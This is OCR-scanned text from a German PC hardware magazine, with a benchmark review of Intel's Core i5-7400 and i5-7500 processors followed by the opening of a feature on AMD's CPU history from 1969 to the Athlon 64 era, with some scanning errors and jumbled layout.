beiden Intel-Quadcores und bleibt 
mit 195 Euro auch im preislich ver- 
gleichbaren Rahmen. Allerdings be- 
nótigt der mit dieser 220-Watt-CPU 
ausgestattete PC dafür auch tatsách- 
lich gemessen dreimal so viel Strom. 
Vernünftiger ist da der FX 8370, der 
sich bei Anwendungen zwischen 
15-7400 und i5-7500 setzt und ,nur* 
2,2 Mal so viel Strom benótigt. Hier 
helfen aus AMDs Sicht wohl nur die 
Anfang März erscheinenden Ryzen- 
Prozessoren auf Basis einer vóllig 
neu entwickelten Architektur. 


AC Syndicate: Core i5 hängen AMD ab 


„Bishopsgate” (720p, kein AA/AF/min. Post-Processing) 


ntel Core i7-6700K (4,0-- GHz - 4с/81) En 120,1 (+71 96) 
ntel Core i7-4790K (4,0+ GHz – 4c/8t) El 110,0 (+57 96) 
ntel Core i7-3770K (3,5 +GHz — 4c/8t) gat ЕШ 100,2 (+43 96) 
ntel Core i5-7600K (3,8+ GHz — 4c/4t) Egi 99,7 (+42 96) 
Intel Core 15-7500 (3,44 GHz - Ac/4t) BER BI 94.4 (+34 %) 
Intel Core 15-7400 (3,0+ GHz — 4c/4t) Tawa 91,1 (+30 96) 
ntel Core i5-6600K (3,5+ GHz – 4c/4t) ani 89,1 (+27 96) 
Intel Core 15-6500 (3,2+ GHz – 4c/4t) EEE Eli 88,7 (+26 96) 
ntel Core i5-4690K (3,5+ GHz – 4c/4t) XXX 85,0 (+21 96) 
ntel Core i7-2600K (3,4+ GHz — 4с/81) EEE 84,9 (+21 96) 
ntel Core i5-3570K (3,4+ GHz — 4с/41) Ea 82,1 (+17 96) 
Intel Core i3-7350K (4,2 GHz — 2c/4t) EE 81,4 (+16 96) 
AMD FX-9590 (4,7+ GHz – 4m/8t) Xu 81,2 (+16 %) 
AMD FX-8370 (4,0+ GHz – 4т/81) mH 76,8 (+9 96) 
Intel Core 13-6100 (3,7 GHz — 2c/4t) ERR E 71,4 (+2 %) 
Intel Pentium G4560 (3,5 GHz - 2c/4t) eg 70,9 (+1 96) 
AMD FX-8300 (3,3+ GHz – 4m/8t) sea 70,9 (+1 96) 
Intel Core i5-2500K (3,3+ GHz — 4c/4t) ESS 70,2 (Basis) 
AMD FX-6300 (3,5+ GHz — 3m/6t) Fos 64,1 (-9 96) 
AMD Ph. II X6 1100T (3,3+ GHz — 6c/6t) gi | 56,5 (-20 96) 
Core 2 Quad 06600 (2,4 GHz - 4с/41) ВЕ 8 28,7 (-59 96) 


System: Intel 2170/297/277/Х58, AMD 990FX/A88X, 8 GiByte RAM pro Speicherkanal 
(Geschwindigkeit jeweils laut maximaler CPU-Spezifikation), Geforce GTX 980 Ti @ 
1.380/3.900 MHz (359.06 WHQL, HQ); Windows 10 (64 Bit, 1607) 


Prozent 
» Besser 


System: Intel 2170/297/277/Х38, AMD 990FX/A88X/790GX, 8 GiByte RAM pro Speicher- 
kanal (Geschwindigkeit jeweils laut maximaler CPU-Spezifikation), Geforce GTX 980 Ti @ 
1.380/3.900 MHz (359.06 WHQL, HQ); Windows 10 (64 Bit, 1607) 


Mimil Fps 


» Besser 
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Core i5-7400 & -7500 | PROZESSOREN 


Anwendungsleistung: Core i5-7500/7400 im Vergleich 


Prozessormodell 3DM FS Physik | Cinebench R15 7-Zip Lightroom 5.7.1 Blender 2.76 x264 MT y-Cruncher 
(Takt/Turbo — Kerne/Threads) (Punkte) (Punkte) (Sekunden) (Sekunden) (Sekunden) (Sekunden) (Sekunden) 
Core 15-7600K (3,8+ GHz — Ac/4t) 9.013 676 256 129 332 26 129,7 
AMD FX-9590 (4,7+ GHz — 4m/8t) 8.407 727 208 146 415 38 256,4 
Core i5-6600K (3,5+ GHz — Ac/4t) 8.106 611 281 139 360 39 141,8 
Core 15-7500 (3,4+ GHz — 4/47 8.101 610 275 142 361 39 143,4 
AMD FX-8350 (4,0+ GHz — 4m/8t) 7.844 641 220 158 466 54 270,5 
Core 15-7400 (3,0+ GHz — 4/41 7.431 552 286 152 392 50 153,6 
Core 15-6500 (3,2+ GHz — 4c/4t 7.426 561 293 152 394 48 155,9 
AMD FX-8300 (3,3+ GHz — 4m/8t) 6.638 530 237 (zg 560 183 326,8 
Core i3-7350K (4,2 GHz — 2c/4t 7.238 462 332 196 417 91 194,6 
Core i3-6100 (3,7 GHz — 2c/4t) 6.425 405 384 230 473 216 220,7 
Pentium G4560 (3,5 GHz — 2c/4t) 6.022 382 391 235 510 250 621,7 
Pentium G4400 (3,3 GHz — 2c/2t) 3.837 276 643 243 785 39) 771,6 
* Sortiert nach Gesamt-Ranking im PCGH-Anwendungs-Index, Kaby-Lake-Modelle mit DDR4-2400, Skylake mit DDR4-2133, AMD FX mit DDR3-1866 


Grenzen der Sparsamkeit 
Doch auch im 200-Euro-Bereich 
nicht alles Friede, Freude, 
Eierkuchen. In anspruchsvollen 
Multiplayer-Titeln wie Battlefield 1 
sind in Schlachten mit bis zu 64 
Spielern Framedrops unter die für 
diese Spiele meist sinnvolle 60-Fps- 
Marke an der Tagesordnung. Das 
gilt allerdings für fast alle Vierker- 
ner, die auf Hyperthreading ver- 
zichten müssen - auch i5-7600 und 
-7600K bringen hier keine optima- 
le Abhilfe. Für Spieler, die bereits 
einen Vierkerner ab mindestens 
dem Core-i5-2500 oder einen sehr 
flotten AMD-Viermoduler besit- 
zen, lohnt sich der Umstieg aktuell 
nur bedingt: Die Mehrleistung ist 
eher mess- als spürbar, reicht aber 
trotzdem nicht immer für flüssige 
60 Fps in Shootern aus. 


ist 


Über den Tellerrand 

Wer auch in anspruchsvollen Spie- 
len absolut auf Nummer sicher 
gehen will, muss für mehr als 300 
Euro entweder zu einem Vier- 
kerner mit Hyperthreading oder 
gleich einem Sechskerner greifen 
- oder aber hoffen, dass AMD ab 
März seine Ryzen-CPUs mit genü- 
gend Wums unter 300 Euro anbie- 
ten wird. Apropos Ryzen: Leider 
hat AMD entschieden, die Sperr- 
frist zur neuen Ryzen-Architektur 
nach Redaktionsschluss anzuset- 


NM N TDP laut Hersteller** 65 Watt 65 Watt 
zen, sodass wir Sie auf die kommen- Systemverbrauch Leerlauf abzüglich Grafikkarte |18 Watt 18 Watt 
de Ausgabe oder unsere Website |Systemverbrauch (Anno/C3/TW3)** 194/242/233 Watt 186/232/226 Watt 
www.pcgh.de verweisen müssen. Systemverbrauch Spiele (Durchschnitt)* * 224 Watt 216 Watt 
Sofern es keinen besonders drin- Systemverbrauch Anwendgungen (Durchschnitt)** | 99 Watt 94 Watt 

. Й Leistung (60 % дег Endnote) 2,64 2,81 

genden Grund wie einen kaputt- Spieleindex (60% Gewichtung Leistungsnote) 72,1% 67,6% 
gegangenen Rechner gibt, gerade ^ |Anwendungsindex (40% Gewichtg. Leistungsnote) |43,6% 40,5% 


jetzt neu zu kaufen, empfehlen wir 
Ihnen ausdrücklick noch ein wenig 
Geduld - selbst wenn Sie kein In- 
teresse an AMD-CPUs haben, kann 


www.pcgameshardware.de 


sich der Ryzen-Launch nur positiv 
auf die Preise auswirken. 


Im Grafik-Limit 

Wie gewohnt finden unsere CPU- 
Tests in der niedrigen 720p-Auflö- 
sung statt. Was regelmäßig PCGH- 
Leser aus dem Effeff wissen, wollen 
wir für alle anderen an dieser Stelle 
noch einmal betonen: PC-Spiele 
sind mit steigender Auflösung und 
Co. zunehmend grafiklimitiert. Das 
bedeutet nicht, dass schwächere 
CPUs auf magische Weise „besser“ 


werden, nur dass schnellere Prozes- 
soren daran gehindert werden, ihre 
Leistung zu entfalten. Umgekehrt 
wird ebenfalls ein Schuh draus: 
Sobald das Grafiklimit verringert 
wird, etwa durch Senken der Auf- 
lösung oder durch eine schnellere 
Grafikkarte, treten die vorhande- 
nen Unterschiede zwischen den 


wieder deutlicher 


Prozessoren 
sichtbar zutage. Fast alle Anwen- 
dungen sind übrigens so gut wie 
unabhängig von Auflösung und ver- 


(cs) 


wendeter Grafikkarte. 


PROZESSOREN 


Auszug aus Testtabelle 
mit vielen weiteren Wertungskriterien 


Prozessor 
PCGH-Preisvergleich 
Preis/Preis-Leistungs-Verhältnis 


Emu 
Intel Core i5-7500 
www.pcgh.de/preis/1554205 


Fazit Нагйшаге 


Vierkerner für 200 Euro 

Sowohl der Core i5-7400 als auch der 
15-7500 sind , Vernunft-CPUs": Sie ar- 
beiten für fast alle Belange flott genug, 
Sind sparsam, bieten moderne Befehls- 
satzerweiterungen und kosten nicht die 
Welt. Bei spezielleren Anforderungen 
können jedoch auch andere CPUs die 
sinnvollere Anschaffung sein. Besitzer 
von Intel Quadcores ab i5-2500 und 
den schnellsten AMD-Viermodulern rüs- 
ten noch nicht zwingend auf. 


Intel Core 15-7400 


www.pcgh.de/preis/1553204 


Ca. 215 Euro/ausreichend 


Ca. 190 Euro/ausreichend 


Für Mainboards mit Sockel ... 


LGA 1151 


LGA 1151 


Codename 


Kaby Lake-S 


Kaby Lake-S 


Anzahl Kerne/Module, Uncore-/L3-Takt 


4 (4), bis 3,5 GHz 


4 (4), bis 3,2 GHz 


Basistakt (Turbo für alle und einen Kern) 


3,4 GHz (3,6 bis 3,8 GHz) 


3,0 GHz (3,3 bis 3,5 GHz) 


L1-Cache (Daten/Befehle, je Kern/Modul) 


32 KiByte/32 KiByte 


32 KiByte/32 KiByte 


L2-Cache (je Kern/Modul)/LLC (gesamt) 


256 KiByte/6 MiByte 


256 KiByte/6 MiByte 


Transistoren, Fertigung, Die-Size 
Ausstattung (20 % der Endnote) 
Grafikeinheit 


Unbekannt, 14 nm, unbekannt 
1,79 
HD Graphics 630 (bis zu 1,1 GHz) 


Unbekannt, 14 nm, unbekannt 
1,84 
HD Graphics 630 (bis zu 1,0 GHz) 


Befehlssátze und Erweiterungen (Auswahl) 


SSE bis 4.2, AVX bis 2, AES, FMA3, TSX 


SSE bis 4.2, AVX bis 2, AES, FMA3 


Integrierte PCI-Express-Lanes 
Eigenschaften (20 % der Endnote) 
Offener Multiplikator* 


16x PCI-Express 3.0 
2,89 
Nein 


16x PCI-Express 3.0 
2,96 
Nein 


Übertaktung per Referenztakt?* 


Stark eingeschránkt 


Stark eingeschránkt 


Speicherkanäle (u. max. Geschwindigkeit*/* *) 


2x DDR4-2400/DDR3(L)-1600 (kein ECC) 


2x DDR4-2400/DDR3(L)-1600 (kein ECC) 


FAZIT 


© Hohe Allround-Leistung, effizienter Betrieb 
© Schneller als 15-6500/6600 


© Etwas zu teuer im Vergleich zu 15-7400 


Wertung: 2,53 


© Bestes Preis-Leistungs-Verhältnis der Intel Quadcores 
© Zukunftssicherer als Dualcore + Hyperthreading 
© Nur geringer Performance-Abstand zu i3-7350K 


Wertung: 2,63 
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* Setzt Unterstützung durch das Mainboard voraus **Angabe dient nur der Information, gewertet wird die Effizienz über alle Spiele und Anwendungen. 
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Von Athlon, Phenom, 
FX und Ryzen 


Auch wenn es die letzten Jahre in AMDs CPU-Sparte nicht gerade rund lief: 


Sowohl in der Vergangenheit als auch in der nahen Zukunft schafft(e) es AMD 
immer wieder, den Platzhirsch Intel màchtig zu àrgern. 


їчї 
VISA GRASSY 


мі 037 
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AMD CPU-History | PROZESSOREN 


1969 


AMD wird gegründet 
Unter anderem dank 
Risikokapital von Intel kann 
Jerry Sanders mit weiteren 
Ex-Fairchild-Mitarbeitern 


AMD 


Advanced Micro Devices gründen. Anfangs fertigt die 
Firma nur einfache Logik-Chips wie den Am9300, ein 
4-Bit-Shift-Register in „Medium Scale Integration” 
(MSI) — das entspricht einigen Hundert Transistoren. 


1975 


Am9080: AMDs erster 
Mikroprozessor 
Als Klon (zunächst re- 


8080 ist der Am9080 eines 


verse-engineered) von Intels 


der wichtigsten Produkte der AMD-Geschichte, denn 
nach der Lizenzierung erweitert sich der CPU-Markt 
enorm, da Firmen wie IBM eine Mehrquellen-Politik 
verfolgen und Intel allein nicht zum Zuge kommt. 


Bild: K.Lanzet Wikimedia 


1986 


Ein offizieller 80286- 
Klon: der Am286 

Der erste x86-Prozessor von 
AMD kommt 1986 auf den 
Markt und ist ein offiziell 
lizenzierter Klon des Intel 80286er. Wie schon zuvor 
sichert auch hier die Verfügbarkeit aus mehreren 
Quellen viele Aufträge von namhaften Unternehmen 
aus der Industrie. 


eal Men have Fabs. Was lange 
Jahre das Credo der texanisch- 
dominierten AMD-Füh- 
rungsetage war, hat sich inzwischen 
- wie vieles andere bei AMD auch 
- gewandelt. Wir laden Sie ein, mit 


männlich 


uns auf eine kleine Zeitreise durch 
AMDs bewegte Geschichte 
dessen Gründung im Jahr 1969 zu 
kommen. Vom Lizenzfertiger über 
den zeitweisen Intel-Bezwinger und 
die waghalsige Neuausrichtung bis 
hin zum Tanz nah am Abgrund fin- 
det sich so einiges in den mehr als 
45 Jahren AMD-History. Wir bitten 
vorab schon einmal um Entschuldi- 


seit 


gung, dass (auch) wichtige Modelle 
wie Duron, X3 & Co. kaum Erwäh- 
nung finden. 


Heute ist AMD der zweitgrößte 
und neben Intel einzige Hersteller 
von x86-Prozessoren und hat durch 
die Übernahme von ATI ein dickes 
Portfolio an CPU- und Grafik-Know- 
how, welches in Kombiprozessoren 
zum Einsatz kommt, die unter an- 
derem auch die Spielkonsolen Play- 
station 4 und Xbox One befeuern. 
Im März 2017 steht mit Ryzen die 
nächste Generation an Desktop-Pro- 
zessoren an. 


Proto-AMD 

Nur ein Jahr nach dem späteren Erz- 
rivalen Intel - und pikanterweise 
durch Risikokapital auch mit dessen 
Hilfe - wurde AMD am 1. Mai 1969 
gegründet. Jerry Sanders, der bis zu 
seinem Abschied in den Ruhestand 
im Jahr 2002 CEO von AMD blieb, 
versammelte eine Truppe ehemali- 
ger Angestellter von Fairchild Semi- 
conductor für seine zunächst San- 
ders Association genannte Firma. 
Aus der Fairchild-Belegschaft hatten 
sich übrigens schon die Intel-Grün- 
der zusammengetan. In den ersten 
Jahren nach seiner Gründung stellte 
AMD hauptsächlich einfache Logik- 
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Chips wie den Am9300, ein 4-bit- 
tiges Shift-Register, und zwei Jahre 
später auch Speicher (AM3101, 64 
Bit/8 Byte) her. Ein wichtiger Eck- 
pfeiler des Geschäftsmodells war 
die damalige Anforderung vieler 
größerer Firmen wie etwa IBM, nur 
Produkte einzusetzen, von denen es 
mindestens zwei Anbieter gab, um 
bei einer Pleite oder unvorhergese- 
henen Ereignissen keinen Produk- 
tionsausfall zu riskieren. 


Nach dem Börsengang 1972 - ab 
1979 wurde die AMD-Aktie an der 
Wallstreet (NYSE) gehandelt - dau- 
erte es nicht mehr lange und mit 
dem Am9080 kam der erste „eigene“ 
Mikroprozessor auf den Markt. Al- 
lerdings handelte es sich dabei um 
einen nicht lizenzierten Nachbau 
von Intels 8080. Apropos 1979: Im 
selben Jahr ging auch die Chipfabrik 


im US-amerikanischen Stammsitz in 
Austin, Texas in Betrieb, nachdem 
AMD zuvor in einem Werk in Malay- 
sien gefertigt hatte. 


x86-Prozessoren 

Nach einigem Hin und Her erhielt 
AMD dann die Erlaubnis, Intel- 
Prozessoren in Lizenz zu fertigen. 
Nach Intel-Lesart galt diese jedoch 
nur bis inklusive der 286er-Gene- 
ration, AMD hingegen wollte auch 
die folgenden Architekturen gern 
herstellen. Aufgrund gerichtlicher 
Auseinandersetzungen verzöger- 
te sich daher die Auslieferung der 
Am386-Modelle bis ins Jahr 1991 
- fünf Jahre später als Intels i386er 
und knapp zwei Jahre nachdem be- 
reits die ersten 486er des Chipgigan- 
ten erhältlich waren. Sowohl beim 
80386 als auch beim 80486 gelang 
es AMD, am Ende Chips auszulie- 


Prozessoren im , Pipeline"-Design 


Bis zum 486er arbeiteten x86-CPUs noch , exklusiv" an einzelnen Befehlen. 


fern, welche ihre Intel-Pendants in 
Sachen Taktrate und daher aufgrund 
der ansonsten gleichen Architektur 
auch bei der Gesamtleistung schlu- 
gen. Beim 386er war die AMD-Spitze 
bei 40 MHz erreicht, Intel dagegen 
machte bei 33 MHz Schluss - aller- 
dings mit der oben bereits erwähn- 
ten Einschränkung, dass die zu der 
Zeit noch enorm teuren 486er von 
Intel bereits verfügbar waren. 


Die 486er-Generation war dabei un- 
ter anderem dank ihres integrierten 
L1-Caches sowie einem Pipeline- 
Design pro Takt rund doppelt so 
flott unterwegs wie die 386er. Und 
ein kleines Schmankerl gab es bei 
AMDs 486ern überdies: Die neues- 
ten Versionen, von denen einige we- 
nige bis hoch zu 150 MHz takteten, 
verfügten mit 16 anstelle von „nur“ 8 
KiByte über die doppelte Menge L1- 


Unter „Pipelining” versteht man bei Prozessoren ein Design, bei dem mehrere Instruktionen zugleich in Bearbeitung befindlich 
sind und nach einer Startlatenz pro Takt eine dieser Anweisungen abgeschlossen werden kann. Heute arbeiten fast alle moder- 
nen Prozessoren nach diesem Prinzip, wáhrend frühere Modelle einen Befehl erst abschlieBen mussten, bevor ein neuer in Angriff 


genommen wurde. Pipeline-Designs haben jedoch auch Nachteile: 
Ein größerer Verwaltungsaufwand für das Aufteilen der Instruk- 
tionen auf die Pipeline-Stufen. Ein Stau im Ablauf ist möglich, 
wenn etwa auf einen Speicherzugriff gewartet oder die komplette 
Pipeline leer geräumt werden (, Flush") muss. Ebenso wenn etwa 
eine Befehlsausführung ungültig wird, weil ein Speicherbereich 


durch eine vorhergehende Instruktion inzwischen einen anderen 


Wert angenommen hat. 


Prozessor ohne Pipelining 


Prozessor im Pipeline-Design 


Befehl/Takt 


2 19 1 


leer | leer | leer 


leer | leer 


leer 


Befehl/Takt 1 2 539 E43 5 


e ull e guess 12 pue 


16 


IF | ID | EX | WB | leer 


leer | leer | leer | leer | leer | leer | leer | leer 


leer 


leer | leer | leer | leer | IF 


ID | EX | WB | leer | leer | leer | leer | leer 


leer 


leer | leer | leer | leer | leer 


leer | leer | leer | IF | ID | EX | WB | leer 


leer 


leer | leer | leer | leer | leer 


leer | leer | leer | leer | leer | leer | leer | IF 


WB 


leer | leer | leer | leer | leer 


leer | leer | leer | leer | leer | leer | leer | leer 


leer 


IF: Instruction Fetch (Laden), ID: Instruction Decode (Dekodieren), EX: Execution (Ausfül 


rung), WB: Write Back (Ergebnisausgabe) 
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1991 


5 Jahre spàter: Am386 
Die Grundlage heutiger 
CPUs war mit dem 386er 
geschaffen. AMD kommt hier 
aufgrund eines Rechtsstreits 


jedoch erst auf den Markt, als es von Intel schon die 
Nachfolgegeneration gibt. Immerhin: Beim 386er über- 
bietet AMD Intel mit maximal 40 zu 33 MHz beim Takt 
und erzielt damit die höhere Leistung im Desktop. 


1993 


Am486 bis 120 MHz 
Das Spielchen wiederholt 
sich: AMD kommt spät, aber 


gegen Intels Next-Gen-Pro- 


mit Macht — muss dafür aber 


zessor, einen gewissen , Pentium", 
dessen neue Plattform ist anfangs sehr teuer, aber 
aufgrund der deutlich niedrigeren Takte gar nicht mal 
so viel schneller als etwa AMDs 486DX4/120. 


NL. ] ADVANCED 


CH 


MICRO ¿Z 
DEVICES š 
Am486'"DX 


1995 


5x86 - ein kleines biss- 
chen Pentium? 

Trotz der Namensähnlichkeit 
handelt es sich beim 5x86 


von AMD um einen 486er 


anstinken. Doch 


auf Steroiden, der mit 16 KiByte Write-Back-L1-Cache 
und einem Takt von 133, vereinzelt auch bis 150 MHz 
aufwartet. Damit kommt er in Integer-Benchmarks 
nahe an die Leistung eines Pentium heran. 


Write-Back-Cache. AMD vermarktete 
die Prozessoren als Am5x86, da sie 
in einigen Bereichen die Leistung 
früher Pentium-CPUs erreichten. 


Mit K5 gegen den Pentium 

Gegen den Pentium hatte AMD noch 
ein weiteres Ass im Ärmel, welches 
jedoch unter Problemen bei der 
Fertigung litt und durch seine kur- 
ze Pipeline nur geringe Taktraten 
erreichte: den K5. Bei diesem han- 
delte es sich um eine ziemlich radi- 
kale Neuausrichtung des Prozessor- 
Designs, eher vergleichbar mit dem 
moderneren Pentium Pro (Stich- 
wort ` ,Out-of-Order-Ausführung) 
als dem noch klassisch aufgebauten 
Pentium. Pro Takt konnte der K5 
in gängigen Alltagsaufgaben durch- 
aus mit hóher taktenden Pentium- 
Prozessoren mithalten. Wie andere 
Prozessor-Hersteller zu dieser Zeit 
griff AMD auf eine fiktive Zahl („Per- 
formance Rating“) zurück, welche 
eine Leistung entsprechend eines so 
getakteten Pentium suggerieren soll- 


te. Der K5 mit 116 MHz etwa erhielt 
ein PR von 166, das seltene Top-Mo- 
dell mit 133 MHz sollte (bei Büroauf- 
gaben) vergleichbar mit einem Pen- 
tium 200 sein (PR200). Allerdings 
war die integrierte Floating-Point- 
Unit nicht in der Lage, mit Intels 
Gegenstück mitzuhalten. Trotz güns- 
tiger Preise konnte die Leistung in 
Spielen mit 3D-Grafik Spieler nicht 
von AMDs K5 überzeugen. 


Die K6-Familie mit 3DNow 

Nach dem späten Einstand und den 
niedrigen Takten des in Eigenregie 
entwickelten K5 kam ab April 1997 
mit dem Nachfolger - kreativ K6 ge- 
nannt - ein mit der Übernahme von 
NexGen im Jahr 1996 zugekauftes 
Design zum Einsatz. Im Gegensatz 
zum K5 war der K6 von Beginn an 
zu Intels MMX-Instruktionen kom- 
patibel. Dank seiner verbesserten 
Leistung im Integer- und vor allem 
im FP-Bereich verzichtete AMD auf 
eine PR-Angabe wie beim K5 und 
verkaufte Modelle mit 166, 200 und 


233 sowie nach dem Umstieg auf 
250-nm-Fertigung 1998 auch mit 
266 und 300 MHz als direkte und 
deutlich günstigere Pentium-Kon- 
kurrenten. Die K6-CPUs passten in 
den Sockel 7 der Pentium-Boards, 
benötigten gleichzeitig aber die 
Split-Voltage-Versorgung für I/O 
und Kerne der Pentium-MMX-Pro- 
zessoren. Sie waren die ersten AMD- 
Modelle, welche Intels Prozessoren 
wirklich gefährlich werden konn- 
ten, brachten AMD Marktanteile 
und verbesserten AMDs Ruf in der 
Gemeinde der PC-Bastler. 


In der „Little Foot“-Nachfolgegenera- 
tion „Chomper“, vermarktet als K6- 
2, führte AMD 1998 erstmals eine 
eigene x86-Befehlssatzerweiterung 
im Floating-Point-Format ein (SIMD- 
Vektoreinheit). Noch vor Intels iSSE 
brachte 3DNow bei entsprechender 
Programmierung einen merklichen 
Performance-Vorteil. In id Softwares 
Quake-Nachfolger etwa konnte 
AMDs K6-2 dank eines Entwickler- 


Patches gleichgetaktete Pentium-II- 
CPUs in die Schranken verweisen. 
Solche Patches blieben jedoch die 
Ausnahme. Aufgrund der grófseren 
Marktmacht von Intel setzte sich 
(DSSE schließlich durch und einzig 
die „PrefetchW“-Instruktion hat sich 
als Überbleibsel etabliert. Von der 
ursprünglich 350 nm feinen Ferti- 
gung entwickelte AMD die Prozess- 
technik beim K6 weiter und setzte 
bei den 266 und 300 MHz schnellen 
Varianten bereits auf 250 nm Struk- 
turbreite. Die hóchsten Taktraten er- 
reichte die K6-Familie dank 180-nm- 
Strukturen in Form des K6-2+, den 
es mit maximal 570 MHz gab. Allen 
K6-2+/K6-III(+) gemein war ein 
Level-2-Cache, der mit vollem Pro- 
zessortakt lief. Er beeinflusste die 
Performance der Sockel-7-Systeme 
mit ihrem sonst sehr langsamen, 
weil auf dem Mainboard montierten 
Zwischenspeicher besonders stark. 
Der mit 256 KiByte On-die-L2-Cache 
ausgestattete K6-II war zum Launch 
ein paar Tage lang zusammen mit 


Transistorzahl und Fertigungstechnik: x86-CPUs 


AMDs Quartalszahlen 


Transistoren und Fertigung 
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Mio. Transistoren/Strukturbreite in nm 
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Bemerkungen: x86-CPUs von AMD und Intel gemischt. Von 275.000 Transistoren eines 386er bis zu 
mehreren Milliarden Schaltungen aktueller CPUs ist die Komplexität um vier Größenordnungen (10er-Faktoren) 
gewachsen. Die Strukturbreite hingegen ist nur um zwei Größenordnungen von 


1.000 auf 10 nm geschrumpft. 


Bemerkungen: Die oft leidvolle Geschichte von AMD làsst sich gut an den Gewinn- und -Verlustangaben ab- 
schátzen. Die Quartale im Minus überwiegen die im Plus befindlichen in Summe deutlich. Die beste Zeit erlebte 
AMD zu Zeiten von Intels rungen von Netburst, Pentium 4 und 10-GHz-Träumen zwischen 2003 und 2007. 
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1996 


K5, eine komplett eige- 
ne Neuentwicklung 

Im Gegensatz zu den 
Intel-Klonen früherer Jahre 
entsteht der K5 komplett im 


Hause AMD. Als RISC-Array mit x86-Front-End kann 
er pro Takt stellenweise wesentlich schneller als die 
Intel-Chips arbeiten — kommt jedoch nie über offizielle 


133 MHz (K5 PR200) hinaus. 


1997 


K6, der NexGen-Zukauf 
Trotz des gleichen Ferti- 
gungsprozesses startet 


K6 direkt mit 166 und 200 


AMDs nun MMX-kompatibler 


MHz. Er basiert auf einem Design der CPU-Schmiede 
NexGen, welche AMD 1996 übernommen hatte. Der 
verbesserte Nachfolger K6-2 bringt mit „3D Now" die 
erste FP-Erweiterung des x86-Befehlssatzes. 


1999 


Athlon versetzte Intel in 
Angst und Schrecken 
Bereits vor dem gewonnenen 
Rennen zur Gigahertz-Marke 
zeigt AMD Intel mit dem ab 
August verfügbaren Athlon, wo der Hammer hängt. Ne- 
ben der traditionell guten Integer-Leistung gelingtnun 
auch erstmals der Sprung auf das Siegertreppchen bei 
der FPU- und damit der 3D-Spieleleistung. 


dem Pentium II 450 sogar der no- 
minell schnellste x86-Prozessor. 
Insgesamt verschaffte sich AMD mit 
dem K6 und seinen guten Verkäufen 
wieder ein wenig Luft und die finan- 
ziellen Polster, um die kommende 
Prozessor-Generation wie auch die 
in Dresden errichtete Fab30 zu fi- 
nanzieren. 


Der Athlon kommt 

Doch die große Überraschung soll- 
te erst noch folgen. Mit der siebten 
Generation von  x86-Prozessoren 
machte AMD zunächst alles richtig. 
Dem vom ehemaligen Design-Team 
des DEC-Alpha-Serverprozessors 
rund um den späteren AMD-Chef 
Dirk Meyer entwickelte CPU-Mons- 
ter gelang es erstmals, nicht nur 
einen Achtungserfolg zu erringen, 
sondern die zeitgenössischen Intel- 
CPUs rundum zu schlagen. Zu der 
bei AMD traditionell guten Integer- 
Performance gesellte sich nun dank 
dreifach superskalarer x87-FPU 
auch in Spielen und wissenschaftli- 
chen Anwendungen eine dem Penti- 
um III überlegene Leistung. 


Doch nicht nur die Leistungsfähig- 
keit der Athlon-CPUs selbst war ein 
für AMD bedeutsamer Schritt. Das 
K7-Team nutzte das Bus-Protokoll 
des Alpha namens EV6. Neben der 
hier im Gegensatz zu Intels lang- 
samerem SDR-FSB bereits verwen- 
deten Double-Data-Rate-Technik 
erlaubte und erforderte dies eine 
komplett eigene Infrastruktur. AMD 
konnte daher mit seinen Chipsatz- 
Partnern wie VIA topmoderne 
Mainboards anbieten, ohne wie zu- 
vor darauf angewiesen zu sein, das 
„Abgelegte“ von Intel auftragen zu 
müssen. Auch Intel ging - salopp ge- 
sprochen - der Arsch auf Grundeis, 
da man zudem noch Probleme hat- 
te, aus der neuen 180-nm-Fertigung 
ausreichende Mengen an Pentium- 
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3-CPUs („Coppermine“) in den 
Handel zu bringen. So versuchte 
der Prozessorgigant, auf Partner in 
der Infrastruktur Druck auszuüben, 
damit etwa Slot-A-Mainboards für 
den Athlon nicht offensiv beworben 
wurden. Einige Hersteller verzichte- 
ten sogar auf die Retail-Verpackun- 
gen und brachten eher schlichte, an 
OEM-Modelle erinnernde Kartona- 
gen für die Slot-A-Boards in den Han- 
del. Apropos Slot A: Da der Athlon 
mit rund 22 Mio. Transistoren schon 
ohne L2-Cache so komplex wie der 
Koll war, setzte man bei ihm auf 
zwei Cache-Chips à 256 KiByte. Die- 
se waren auf der Slot-A-Platine mon- 
tiert und liefen mit maximal halbem, 
bei anderen Modellen 40 respektive 
33 Prozent des CPU-Taktes. 


Der 1-GHz-Athlon 
Nicht nur bei 
selbst, auch beim prestigeträchtigen 
Erreichen der magischen 1-GHz-Mar- 
ke konnte AMD Intel schlagen. Zwar 
gab es andere Architekturen, Proto- 
typen und per Trockeneis übertak- 
tete GHz-Prozessoren bereits zuvor, 
doch den ersten Serien-x86 mit 1 
GHz konnte AMD am 6. Màrz 2000 
verkünden. Sogar einen eigenen 
Codenamen spendierte man dem 
Projekt: „Magnolia“. Dabei handelte 
es sich „пиг“ um einen inzwischen 
auf 180 nm geschrumpften Ath- 
lon Classic, der weiterhin im Slot 


der Performance 


A und mit zwei Cache-Bausteinen 
ausgeliefert wurde. Der Nachfolger 
Thunderbird mit einem exklusiven 
256 KiByte großen On-Die-Cache 
kam später, konnte sich mit seinen 
maximal 1,4 GHz jedoch gut gegen 
den Pentium 3 und die erste Charge 
Pentium 4 behaupten. 


Athlon XP gegen Netburst 

Mit der náchsten Generation ,Athle- 
ten“ hielten mehrere Dinge Einzug 
bei AMD: Zum einen das Quanti- 


speed-Rating, welches inoffiziell 
für die Performance eines entspre- 
chend getakteten Pentium 4 stand. 
Der Athlon XP 1800+ etwa taktete 
als schnellstes der drei zum XP- 
Launch angekündigten Modelle mit 
1.533 MHz - damals traf die Kund- 
schaft speziell im Elektrodiscounter 
ihre Kaufentscheidung aber noch 
vermehrt nach der MHz-Zahl. Das 
„XP“ im Namen sollte natürlich 
Eignung für und Kompatibilität 
mit Microsofts neuem Betriebssys- 
tem Windows XP suggerieren. Am 
wichtigsten jedoch war die Unter- 
stützung von Intels SIMD-Befehlen 
„SSE“, die sich inzwischen mehr 
oder minder gegenüber 3DNow 
durchgesetzt hatten. Spätere Versio- 
nen des Athlon XP wurden in 130 
anstelle von 180 nm gefertigt (ab 
Thoroughbred), erhielten einen von 
256 auf 512 KiByte verdoppelten 
Level-2-Cache (Barton) und erreich- 
ten Taktraten von bis zu 2,33 GHz. 
Durch die großen Taktsprünge auf 3 


GHz und mehr, die Intels Netburst- 
basierte Pentium-4-Modelle hinleg- 
ten, konnte der Athlon XP zum Ende 
seiner Laufbahn jedoch trotz Quanti- 
speed-Ratings von 3200+ nicht mehr 
ganz mithalten. 


AMD zum Achten: Athlon 64 
Auch die achte Generation von 
AMD-Prozessoren erwischte Intel 
